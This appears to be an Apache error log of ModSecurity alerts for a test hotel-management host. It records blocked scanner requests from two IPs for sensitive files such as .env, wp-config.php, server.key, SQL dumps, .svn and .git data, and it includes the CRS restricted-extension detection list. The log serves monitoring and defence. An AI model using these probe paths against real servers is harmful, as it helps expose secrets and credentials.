[Sun Jun 29 06:35:15.516799 2025] [:error] [pid 2967918] [client 213.232.87.230:33515] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aGDCgzOxdet7QOoqVXWV1AAAAAA&quot;]
[Sun Jun 29 06:35:15.516972 2025] [:error] [pid 2967918] [client 213.232.87.230:33515] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aGDCgzOxdet7QOoqVXWV1AAAAAA&quot;]
[Sun Jun 29 06:35:15.517801 2025] [:error] [pid 2968165] [client 213.232.87.230:4263] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGDCg-U-dj-hWt1UAd7gOwAAAAU&quot;]
[Sun Jun 29 06:35:15.517952 2025] [:error] [pid 2968165] [client 213.232.87.230:4263] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGDCg-U-dj-hWt1UAd7gOwAAAAU&quot;]
[Sun Jun 29 06:35:15.518089 2025] [:error] [pid 2968165] [client 213.232.87.230:4263] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGDCg-U-dj-hWt1UAd7gOwAAAAU&quot;]
[Sun Jun 29 06:35:16.118235 2025] [:error] [pid 2967922] [client 213.232.87.230:23411] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aGDChH3T5w8Ph4-X-hFFkAAAAAQ&quot;]
[Sun Jun 29 06:35:16.121818 2025] [:error] [pid 2967922] [client 213.232.87.230:23411] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aGDChH3T5w8Ph4-X-hFFkAAAAAQ&quot;]
[Sun Jun 29 06:35:16.121966 2025] [:error] [pid 2967922] [client 213.232.87.230:23411] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aGDChH3T5w8Ph4-X-hFFkAAAAAQ&quot;]
[Sun Jun 29 06:35:16.126265 2025] [:error] [pid 3059540] [client 213.232.87.230:21297] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aGDChHN4YZunzJSJCzJ52AAAAAY&quot;]
[Sun Jun 29 06:35:16.126411 2025] [:error] [pid 3059540] [client 213.232.87.230:21297] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aGDChHN4YZunzJSJCzJ52AAAAAY&quot;]
[Sun Jun 29 06:35:16.126603 2025] [:error] [pid 3059540] [client 213.232.87.230:21297] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aGDChHN4YZunzJSJCzJ52AAAAAY&quot;]
[Sun Jun 29 06:35:16.126748 2025] [:error] [pid 3059540] [client 213.232.87.230:21297] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aGDChHN4YZunzJSJCzJ52AAAAAY&quot;]
[Sun Jun 29 06:35:16.472395 2025] [:error] [pid 2967919] [client 213.232.87.230:11231] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;aGDChHtTxOj9v32ojom5ngAAAAE&quot;]
[Sun Jun 29 06:35:16.472646 2025] [:error] [pid 2967918] [client 213.232.87.230:43245] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aGDChDOxdet7QOoqVXWV1gAAAAA&quot;]
[Sun Jun 29 06:35:16.472705 2025] [:error] [pid 2967919] [client 213.232.87.230:11231] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;aGDChHtTxOj9v32ojom5ngAAAAE&quot;]
[Sun Jun 29 06:35:16.472890 2025] [:error] [pid 2967919] [client 213.232.87.230:11231] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;aGDChHtTxOj9v32ojom5ngAAAAE&quot;]
[Sun Jun 29 06:35:16.472914 2025] [:error] [pid 2967918] [client 213.232.87.230:43245] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aGDChDOxdet7QOoqVXWV1gAAAAA&quot;]
[Sun Jun 29 06:35:16.473122 2025] [:error] [pid 2967918] [client 213.232.87.230:43245] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aGDChDOxdet7QOoqVXWV1gAAAAA&quot;]
[Sun Jun 29 06:35:16.482443 2025] [authz_core:error] [pid 2967921] [client 213.232.87.230:46289] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Sun Jun 29 06:35:16.525130 2025] [:error] [pid 3059540] [client 213.232.87.230:12965] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aGDChHN4YZunzJSJCzJ52QAAAAY&quot;]
[Sun Jun 29 06:35:16.525433 2025] [:error] [pid 3059540] [client 213.232.87.230:12965] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aGDChHN4YZunzJSJCzJ52QAAAAY&quot;]
[Sun Jun 29 06:35:16.525614 2025] [:error] [pid 3059540] [client 213.232.87.230:12965] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database_backup.sql&quot;] [unique_id &quot;aGDChHN4YZunzJSJCzJ52QAAAAY&quot;]
[Sun Jun 29 06:35:16.712631 2025] [:error] [pid 2967918] [client 213.232.87.230:52255] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aGDChDOxdet7QOoqVXWV1wAAAAA&quot;]
[Sun Jun 29 06:35:16.712952 2025] [:error] [pid 2967918] [client 213.232.87.230:52255] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aGDChDOxdet7QOoqVXWV1wAAAAA&quot;]
[Sun Jun 29 06:35:16.713124 2025] [:error] [pid 2967918] [client 213.232.87.230:52255] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aGDChDOxdet7QOoqVXWV1wAAAAA&quot;]
[Sun Jun 29 06:35:16.755044 2025] [:error] [pid 2967922] [client 213.232.87.230:46921] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;aGDChH3T5w8Ph4-X-hFFkgAAAAQ&quot;]
[Sun Jun 29 06:35:16.755194 2025] [:error] [pid 2967922] [client 213.232.87.230:46921] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;aGDChH3T5w8Ph4-X-hFFkgAAAAQ&quot;]
[Sun Jun 29 06:35:16.755390 2025] [:error] [pid 2967922] [client 213.232.87.230:46921] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;aGDChH3T5w8Ph4-X-hFFkgAAAAQ&quot;]
[Sun Jun 29 06:35:16.755559 2025] [:error] [pid 2967922] [client 213.232.87.230:46921] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;aGDChH3T5w8Ph4-X-hFFkgAAAAQ&quot;]
[Sun Jun 29 12:15:18.425870 2025] [:error] [pid 2967922] [client 198.55.98.210:56810] [client 198.55.98.210] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGESNn3T5w8Ph4-X-hFFuAAAAAQ&quot;]
